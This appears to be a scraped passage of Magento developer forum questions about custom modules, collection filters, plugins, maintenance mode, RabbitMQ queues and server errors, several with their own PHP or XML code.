For example a field for brand the next one for model and the last one for year
Help me please if you have any idea


texts: Magento 2 - Save data to multiple tables not working

texts:
I have created a custom module having two tables named helloworld_post and helloworld_tag and from front-end side I want to save fields values to these 2 tables. However I have created two respective models as well but its only working for helloworld_post not for helloworld_tag. Can anyone help me please?

Below is my code :

  Post model - app/code/CompanyName/HelloWorld/Model/Post.php

namespace CompanyName\HelloWorld\Model;

class Post extends \Magento\Framework\Model\AbstractModel implements \Magento\Framework\DataObject\IdentityInterface
{

const CACHE_TAG = 'helloworld_post';
protected $_cacheTag = 'helloworld_post';
protected $_eventPrefix = 'helloworld_post';
protected function _construct()
{
    $this->_init('CompanyName\HelloWorld\Model\ResourceModel\Post');
}
public function getIdentities()
{
    return [self::CACHE_TAG . '_' . $this->getId()];
}
public function getDefaultValues()
{
    $values = [];
    return $values;
}
}

  Post resource model -app/code/CompanyName/HelloWorld/Model/ResourceModel/Post.php

namespace CompanyName\HelloWorld\Model\ResourceModel;

class Post extends \Magento\Framework\Model\ResourceModel\Db\AbstractDb
{

public function __construct(
    \Magento\Framework\Model\ResourceModel\Db\Context $context
)
{
    parent::__construct($context);
}
protected function _construct()
{
    $this->_init('CompanyName_helloworld_post', 'post_id');
}
}

  Tag model - app/code/CompanyName/HelloWorld/Model/Tag.php

namespace CompanyName\HelloWorld\Model;

class Tag extends \Magento\Framework\Model\AbstractModel
implements   \Magento\Framework\DataObject\IdentityInterface
{

const CACHE_TAG = 'helloworld_tag';
protected $_cacheTag = 'helloworld_tag';
protected $_eventPrefix = 'helloworld_tag';
protected function _construct()
{
    $this->_init('CompanyName\HelloWorld\Model\ResourceModel\Tag');
}
public function getIdentities()
{
    return [self::CACHE_TAG . '_' . $this->getId()];
}
public function getDefaultValues()
{
    $values = [];
    return $values;
}
}

  Tag resource model - app/code/CompanyName/HelloWorld/Model/ResourceModel/Tag.php

namespace CompanyName\HelloWorld\Model\ResourceModel;

class Tag extends \Magento\Framework\Model\ResourceModel\Db\AbstractDb
{

public function __construct(
    \Magento\Framework\Model\ResourceModel\Db\Context $context
)
{
    parent::__construct($context);
}
protected function _construct()
{
    $this->_init('helloworld_tag', 'tag_id');
}
}

  Controller - app/code/CompanyName/HelloWorld/Controller/Index/Display.php

namespace CompanyName\HelloWorld\Controller\Index;

class Display extends \Magento\Framework\App\Action\Action {

protected $_pageFactory;
protected $_postFactory;
protected $_tagFactory;

public function __construct(
\Magento\Framework\App\Action\Context $context,
        \Magento\Framework\View\Result\PageFactory $pageFactory,
        \CompanyName\HelloWorld\Model\PostFactory $postFactory,
        \CompanyName\HelloWorld\Model\TagFactory $tagFactory
) {
    $this->_pageFactory = $pageFactory;
    $this->_postFactory = $postFactory;
    $this->_tagFactory = $tagFactory;
    return parent::__construct($context);
}

public function execute() {
    $model = $this->_postFactory->create();
    $model2 = $this->_tagFactory->create();
    $post = $this->getRequest()->getPostValue();

    if (isset($post) && !empty($post)) {
      //Save data for first table
       $model->setData($post['party']);
       $model->setName($post['party']['name']);
       $model->save();
        //Save data for second table
        $model2->setData($post['party']);
        $model2->setName($post['party']['address']);
        $model2->save();
    }
     return $this->_pageFactory->create();
 }

 }

Thanks.


texts: Magento 2 - How to create language package (run command line) by PHP?

texts:
I created a language package by using this command:

php bin/magento i18n:collect-phrases -o "app/default.csv" -m

and using

php bin/magento i18n:pack --mode=merge -d "app/default.csv" "xx_YY"

to distribute to each module.
But I want use PHP code to simulate both command line calls. What should I do?


texts: filter check current date between two dates

texts:
I have custom collection and I want to check current date available or not between start_date and end_date.

$currentDate = date("Y-m-d 00:00:00");

$collection = Mage::getModel('test/validity')->getCollection()->addFieldToFilter('start_date',array('gteq'=>$currentDate))
->addFieldToFilter('end_date',array("lteq" => $currentDate));

But this above code is not work.what I do ?


texts: Magento 1.x - When does magento add the maintenace.flag file to the root of the setup

texts:
Out of the sudden my Magento webshop showed the 503 maintenance page.

There are multiple users who can access the admin of the webshop, so it could be possible someone accidentally turned it on. But this made my curious.

In which occasions/edits in the backend does magento add the maintenance.flag file to the root of the installation?


texts: Im trying to create my own plugin for the submit review in frontend magento2

texts:
this one is my model class

namespace Training1\Review\Model;

class Review
{
    public function aroundValidate(\Magento\Review\Model\Review $review, $name)
    {
        die('test');
    }
}

//this one is my di.xml file

<?xml version="1.0" ?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
    <type name="Magento\Review\Model\Review">
        <plugin name="magento-review-model-plugin"
                type="Training1\Review\Model\Review"
                sortOrder="1"
                disabled = "false"/>
    </type>
</config>


texts: Anybody have issue some times Total showing double?

texts:
This is not duplicate question.

Actually i see there are some user they have this issue when create new total or add some module related to total. because they don't use condition to check total for only shipping.

But in my case i check in table sales_flat_quote_address and i found there is 2 entry for shipping address and 1 for billing for quote id which have double total.

Note : I am getting this problem sometimes not every order.


texts: How to display Special Price end date on front end

texts: I would like to display the special price end date on the product and Categories pages.


texts: Magento 2 Data Migration Ignore Product Attributes & Attribute Sets

texts: What's the best way to ignore product attribute sets and product attributes? Already have my migration script ignoring products and categories.


texts: Add mass action to product grid Magento2

texts:
For adding massaction to product grid I use next code:

<?xml version="1.0" encoding="UTF-8"?>
<listing xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Ui:etc/ui_configuration.xsd">
    <listingToolbar name="listing_top">
        <massaction name="listing_massaction" component="Magento_Ui/js/grid/tree-massactions">
            <action name="copyoptions">
                <settings>
                    <url path="modulename/index/massSendConfirmation"/> <!-- your custom controller to handle request -->
                    <type>copyoptions</type>
                    <label translate="true">Copy Product Options</label>
                </settings>
            </action>
        </massaction>
        <paging name="listing_paging"/>
    </listingToolbar>
</listing>

It works, How can I add input field to this place

I need it to set product id in this input.
Who can give any information?


texts:
Whenever I delete a website, magento returns the error: Invalid website id requested. I've to delete from db tables core_store and core_store_group the website id and then I can log again in the admin.

Is a Magento bug or I have some problem in my magento instance?

PS: I usually create websites programmatically by the script:

$rootCategory = Mage::getModel('catalog/category');
$rootCategory->setStoreId(0)
    ->setName('Demo')
    ->setPath(1)
    ->setDisplayMode('PRODUCTS')
    ->setIsActive(1)
    ->save();

$website = Mage::getModel('core/website');
$website->setCode('demo')
    ->setName('demo')
    ->save();

//#addStoreGroup
/** @var $storeGroup Mage_Core_Model_Store_Group */
$storeGroup = Mage::getModel('core/store_group');
$storeGroup->setWebsiteId($website->getId())
    ->setName('demo')
    ->setRootCategoryId($rootCategory->getId())
    ->save();

//#addStore
/** @var $store Mage_Core_Model_Store */
$store = Mage::getModel('core/store');
$store->setCode('demo_en')
    ->setWebsiteId($storeGroup->getWebsiteId())
    ->setGroupId($storeGroup->getId())
    ->setName('demo_en')
    ->setIsActive(1)
    ->save();


texts: "ADD TO CART" button not working in product view page

texts:
we want customers to enter zip code on product view page to find delivery is available or not for that zip code.

so we used this extension : http://www.magentocommerce.com/magento-connect/product-delivery-check-by-zip-code.html

we got what we needed by this extension. but after using this extension, "add to cart" button on product

view page is not working, also product images are not zooming as before.

seems this is the file for displaying on product view page

app\design\frontend\default\default\template\techinflo\checkavailability\availability.phtml

availability.phtml code here : http://pastebin.com/YpuwTkFS

demo : http://demo1.kidsdial.com/index.php/electronics/24-widescreen-flat-panel-lcd-monitor.html

please help me to find solution.


texts:
Has anyone experienced this, where transactions as recorded in Magento are sometimes higher than what Google Analytics reports for transactions? The margin of error is typically ~10%, and I've read a number of articles which explain this to be common by the very nature of how GA e-commerce tracking works.

In other words, the tracking code in Magento -- as I've seen -- is implemented asynchronously, and sometimes initialization is bound to the window's load event. This would imply that the tracking code might not be sent out until many seconds after the success page has been displayed. And that some people navigate away from or else close this page before that tracking beacon can be dispatched.

Has anyone had any experience with this? I've also see different versions of Magento add the tracking code block to both before_body_end and after_body_start. Have you had better results with either one?

What steps have you taken to reconcile these differences?


texts: Magento 1 Source Model similar to favicon

texts:
I've developed a module where it allows clients to upload a single image via the adminhtml/system_config_backend_image_favicon which I've overridden. In what other way would you guys implement this?

But i was wondering if there is another way that magento provides to do this?


texts:
going straight to the point:

I want to make some integration Magento 2 EE with some 3rd party. I want to use RabbitMQ. I know the basics, but I'm stucked with a lack of documentation and my experience/knowledge.

From time to time I want to do maintenance on 3rd party and then don't want to have any messages from magento. So I want to have an option in magento admin panel to turn on/off processing of messages in my custom rabbit queue.
E.g. I will have rabbitmq queue "custom" working, then I want to disable processing messages (which will be still published to the queue) for an hour, then go back live. After going back I want to process all messages in ASC order by time of approach of the message.
questions:

Is Magento2-RabbitMQ queue ordered by something? Can I change a order of a single custom queue? Can it be done from the Magento side?
Can I turn on/off processing of messages? Just processing - I want to make publishing messages to be available all time


texts: How to add a customer to an attribute when registering?

texts:
I run a music store, selling royalty free music. What I want to do is allow composers to sell their music on my site. I've set up a system that means that people can log in, and add their music to the site already in the account section.

I have in place an attribute called 'Composer' that I'm currently using for myself, but eventually all the composers who sign up will be added automatically to that attribute.

The idea is that on the product page it'll say 'TITLE' by 'COMPOSER', and link the composer to their profile. Their profile will then have blurb about them, and the tracks that they've posted.

I'm think that 'Advance User Profiles' (http://www.magentocommerce.com/magento-connect/advance-user-profiles.html) extension will cover some of the problems, in setting up the user panel.

The process should be:

Composer signs up
Composers name added to 'Composer' attribute
Composer uploads track in user section
In the catalog the product should say 'TRACK' by 'COMPOSER'
Link on composer, takes customer to composer profile (this depends on mentioned extension above, I know).

What I was wondering was:

Can anyone give better advice that using that extension?
Can anyone advice on a way of doing what I've outlined above?
Thanks a million - I appreciate your help SO much! Anything, no matter how small - It'll still be appreciated.

If it helps my URL is http://freemusicforvideos.com


texts: Call to a member function setAttribute() on a non-object after magento migration

texts:
I have migrated a magento store from 1.5 to 1.9 on my local server.(First migrated 1.5 to 1.6.2 then 1.6.2 to 1.9.1)

Now whenever i try to edit or add a new product following fatal error occurs.

Images : Image type and information need to be specified for each store view.

Fatal error: Call to a member function setAttribute() on a non-object in /var/www/html/monster_19/app/code/core/Mage/Eav/Model/Entity/Attribute/Abstract.php on line 366

This error also occurs on 1.6.2 staging version. Tried database repair tool also but problem still persist . And i don't want to hack into core. Please give solution.


texts: With .htaccess file Server Gives error "500 : internal server error"

texts:
I installed Fresh Magento in Live Server with a subdomain (shop.example.com)

And It given me error 500 : internal server error

But If i delete .htaccess the site works properly

Without .htaccess file magento project won't be running.
So how to solve this ?